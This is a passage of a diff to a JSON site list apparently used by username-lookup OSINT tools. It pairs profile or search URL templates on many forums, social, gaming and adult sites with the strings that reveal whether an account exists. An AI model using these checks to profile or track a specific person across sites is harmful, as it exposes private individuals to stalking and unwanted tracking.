"error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Socionics", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "soft-deniz.ucoz.ru", + "url": "http://soft-deniz.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soft-wm.3dn.ru", + "url": "http://soft-wm.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "softal.3dn.ru", + "url": "http://softal.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Softboard", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "softgame.3dn.ru", + "url": "http://softgame.3dn.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SoftwareInformer", + "url": "https://users.software.informer.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "sofurry", + "url": "https://{}.sofurry.com", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "SoFurry - Error | SoFurry", + "match_code": 200, + "match_string": "'s Profile | SoFurry" + }, + { + "name": "sokal.ucoz.lv", + "url": "http://sokal.ucoz.lv/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Solaris-club", + "url": "https://solaris-club.net/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soldati-russian.ru", + "url": "http://soldati-russian.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Solikick", + "url": "https://solikick.com/-{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This item has been removed or is no longer available", + "match_string": "page_guest_users-view" + }, + { + "name": "solo.to", + "url": "https://solo.to/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you're looking for isn't here.", + "match_code": 200, + "match_string": "create your own page" + }, + { + "name": "Soloby", + "url": "http://www.soloby.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "Somersoft", + "url": "https://www.somersoft.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "somersoft.com", + "url": "https://www.somersoft.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SoMyMy (underwear sales)", + "url": "https://somymy.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Sorry, that page is not found!

", + "match_string": ">Last seen" + }, + { + "name": "Sony-club", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "sony127.3dn.ru", + "url": "http://sony127.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sony_stratege", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0430\u0439\u0442 \u0437\u0430\u043a\u0440\u044b\u0442" + }, + { + "name": "Soobshestva", + "url": "http://www.soobshestva.ru/forum/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SOOP", + "url": "https://www.sooplive.co.kr/station/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sorento_kia-club", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "soslujivzi.ru", + "url": "http://soslujivzi.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sotoguide", + "url": "https://sotoguide.ru/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Soul Cams", + "url": "https://www.soulcams.com/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "SoulCams", + "match_string": "Live cam | Soulcams.com" + }, + { + "name": "SoundCloud", + "url": "https://soundcloud.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soundex", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "soundfactory.ucoz.org", + "url": "http://soundfactory.ucoz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soundgym", + "url": "https://www.soundgym.co/member/profile?m={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Soup", + "url": "https://www.soup.io/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}/profile", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "Personal Tools" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sourceforge", + "url": "https://sourceforge.net/user/username/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"success\": 1", + "match_code": 400, + "match_string": "\"error\": \"invalid\"" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}/profile/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Sourcewatch", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "southbayriders.com", + "url": "http://www.southbayriders.com/forums//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SouthernGFE", + "url": "https://www.southerngfe.com/escorts/search?searchword={}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Your search does not return any result.", + "match_string": "title='{username}" + }, + { + "name": "Southklad", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "southparkz.net", + "url": "http://southparkz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sovgavan.ru", + "url": "http://sovgavan.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soylentnews", + "url": "https://soylentnews.org/~{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user you requested does not exist, no matter how much you wish this might be the case." + }, + { + "name": "Sp-shopogoliki", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Spaces", + "url": "https://spaces.im/mysite/index/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "match_string": "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0434\u0430\u0440\u043e\u043a" + }, + { + "name": "spaceserials.ru", + "url": "http://spaceserials.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spankpay", + "url": "https://spankpay.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "SpankPay.Me", + "match_string": " - SpankPay.Me" + }, + { + "name": "Spark", + "url": "https://spark.ru/startup/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sparkpeople", + "url": "https://www.sparkpeople.com/mypage.asp?id={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We couldn't find that user" + }, + { + "name": "Sparkpeople", + "url": "https://sparkpeople.com/mypage.asp?id={}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "We couldn't find that user", + "match_string": "member_" + }, + { + "name": "Spartak_msk", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443" + }, + { + "name": "Spb-projects", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Speaker Deck", + "url": "https://speakerdeck.com/{}/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "User Not Found - Speaker Deck", + "match_code": 200, + "match_string": ") on Speaker Deck" + }, + { + "name": "Speakerdeck", + "url": "https://speakerdeck.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User Not Found" + }, + { + "name": "specchiasol.ru", + "url": "http://specchiasol.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spectrum", + "url": "https://spectrum.chat/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "@{username}" + }, + { + "name": "spectrum-z.ru", + "url": "http://spectrum-z.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "speedrun", + "url": "https://www.speedrun.com/user/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "speedrun.com", + "match_code": 200, + "match_string": "Runs - " + }, + { + "name": "Speedrun", + "url": "https://speedrun.com/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "not found." + }, + { + "name": "Speedrun.com", + "url": "https://speedrun.com/users/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not found - Speedrun", + "match_string": "\"user\":{\"id\":\"" + }, + { + "name": "Spells8", + "url": "https://forum.spells8.com/u/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SpiceWorks", + "url": "https://community.spiceworks.com/people/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spinchat", + "url": "https://www.spinchat.com/hp/{}/", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "spishu.ru", + "url": "http://spishu.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "splatoonwiki.org", + "url": "https://splatoonwiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spletenie", + "url": "https://www.spletenie.ru/users/{}/stranamam/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "spletnik", + "url": "https://spletnik.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Splice", + "url": "https://splice.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Splits.io", + "url": "https://splits.io/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SPOJ", + "url": "https://www.spoj.com/users/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Innopolis Open 2018", + "match_code": 200, + "match_string": "

Activity over the last year

" + }, + { + "name": "Sponsr", + "url": "https://sponsr.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sporcle", + "url": "https://www.sporcle.com/user/{}/people", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sporcle", + "url": "https://www.sporcle.com/user/{}/people/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "This Sporcle user cannot be found.", + "match_code": 200, + "match_string": "'s Sporcle Friends" + }, + { + "name": "Sporcle", + "url": "https://www.sporcle.com/user/{}/quizzes/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sporcle", + "url": "https://sporcle.com/user/{}/people", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "This Sporcle user cannot", + "match_string": "profile-" + }, + { + "name": "Sporewiki", + "url": "https://sporewiki.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Sportbox", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439" + }, + { + "name": "Sportlerfrage", + "url": "https://www.sportlerfrage.net/nutzer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sports", + "url": "https://www.sports.ru/search/?query={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Sports", + "url": "https://sports.ru/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "info-block" + }, + { + "name": "Sports Tracker", + "url": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"code\":\"404\"", + "match_code": 200, + "match_string": "\"uuid\":" + }, + { + "name": "sports.ru", + "url": "https://www.sports.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sportsjournalists", + "url": "https://www.sportsjournalists.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "sportsjournalists.com", + "url": "http://sportsjournalists.com/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SportsTracker", + "url": "https://www.sports-tracker.com/view_profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\"code\":\"404\"" + }, + { + "name": "Sportstracklive", + "url": "https://www.sportstracklive.com/en/user/{}", + "category": "health", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spotify", + "url": "https://open.spotify.com/user/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spotify_community", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "category": "music", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\t\t0 results" + }, + { + "name": "Sprashivai", + "url": "http://sprashivai.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Sprashivai_CLOSEDEAD", + "url": "http://sprashivai.ru/{}?sl", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "spreadshirt.com", + "url": "https://spreadshirt.com/shop/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spreaker", + "url": "https://www.spreaker.com/user/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Spursarmy", + "url": "https://spursarmy.com/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": ">\u041e\u0448\u0438\u0431\u043a\u0430" + }, + { + "name": "sputnikkey.ru", + "url": "http://sputnikkey.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SPW", + "url": "https://forum.spw.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "spygaming.clan.su", + "url": "http://spygaming.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SQL", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Sr", + "url": "https://sr.ht/~{}/", + "category": "tech", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Srclog", + "url": "https://srclog.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ssb_wiki", + "url": "https://www.ssbwiki.com/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ssbwiki.com", + "url": "https://ssbwiki.com/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sspai", + "url": "https://sspai.com/api/v1/information/user/activity/page/get?limit=10&offset=0&slug={}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "sst.hiberworld.com", + "url": "https://sst.hiberworld.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found" + }, + { + "name": "sstalkers.ru", + "url": "http://sstalkers.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stackexchange", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search" + }, + { + "name": "StackOverflow", + "url": "https://stackoverflow.com/users/filter?search={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "no-search-results", + "match_string": "user-info" + }, + { + "name": "Stackoverflow", + "url": "https://stackoverflow.com/users/?search={}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "p>No users matched your search" + }, + { + "name": "Stackoverflow_ES", + "url": "https://es.stackoverflow.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043c\u044f: " + }, + { + "name": "Stalkerbar", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "stalkerbar.at.ua", + "url": "http://stalkerbar.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star Citizen", + "url": "https://robertsspaceindustries.com/citizens/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star Citizens Community", + "url": "https://robertsspaceindustries.com/community-hub/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star-girl", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Starcitizen", + "url": "https://starcitizen.tools/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Starexclub", + "url": "https://www.starexclub.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "starfiles.at.ua", + "url": "http://starfiles.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "starfywiki.org", + "url": "https://starfywiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "staroverovka.ucoz.ua", + "url": "http://staroverovka.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stars", + "url": "https://stars.avn.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "\"profile\"" + }, + { + "name": "Starsonice", + "url": "https://starsonice.borda.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Starvault", + "url": "https://starvault.se/mortalforums/members/?username={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Starwars", + "url": "https://starwars.wikia.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Statistika", + "url": "http://statistika.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stats_stackexchange", + "url": "https://stats.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched" + }, + { + "name": "Status Cafe", + "url": "https://status.cafe/users/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "Statuspage", + "url": "https://{}.statuspage.io/api/v2/status.json", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "You are being redirected.", + "match_code": 200, + "match_string": "updated_at" + }, + { + "name": "stay.ucoz.ru", + "url": "http://stay.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Steam", + "url": "https://steamcommunity.com/id/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "Steam (by id)", + "url": "https://steamcommunity.com/profiles/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "Steam (Group)", + "url": "https://steamcommunity.com/groups/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No group could be retrieved for the given URL" + }, + { + "name": "Steam Community (User)", + "url": "https://steamcommunity.com/id/{}/", + "category": "gaming", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "steamdb.info", + "url": "https://steamdb.info/calculator/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page", + "match_string": "profileForm" + }, + { + "name": "SteamGifts", + "url": "https://www.steamgifts.com/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "match_code": 200, + "match_string": "\"identifier\":" + }, + { + "name": "Steamid", + "url": "https://steamid.uk/profile/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
Profile not found
" + }, + { + "name": "Steamidfinder", + "url": "https://steamidfinder.com/lookup/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "could not be found.", + "match_string": "se our custom tools to build a Steam profile badge" + }, + { + "name": "Steemcoinpan", + "url": "https://steemcoinpan.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "UserProfile__stats" + }, + { + "name": "steemit", + "url": "https://steemit.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "NotFound__menu", + "match_string": "profile" + }, + { + "name": "steller.co", + "url": "https://steller.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stereo", + "url": "https://stereo.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stereo", + "url": "https://stereo.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "@{username}" + }, + { + "name": "Sti-club", + "url": "http://www.sti-club.su/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Stihi.ru", + "url": "https://www.stihi.ru/avtor/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Stocktwits", + "url": "https://stocktwits.com/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "(@{username})" + }, + { + "name": "Stoimost", + "url": "https://stoimost.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stoners.social (Mastodon Instance)", + "url": "https://stoners.social/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", 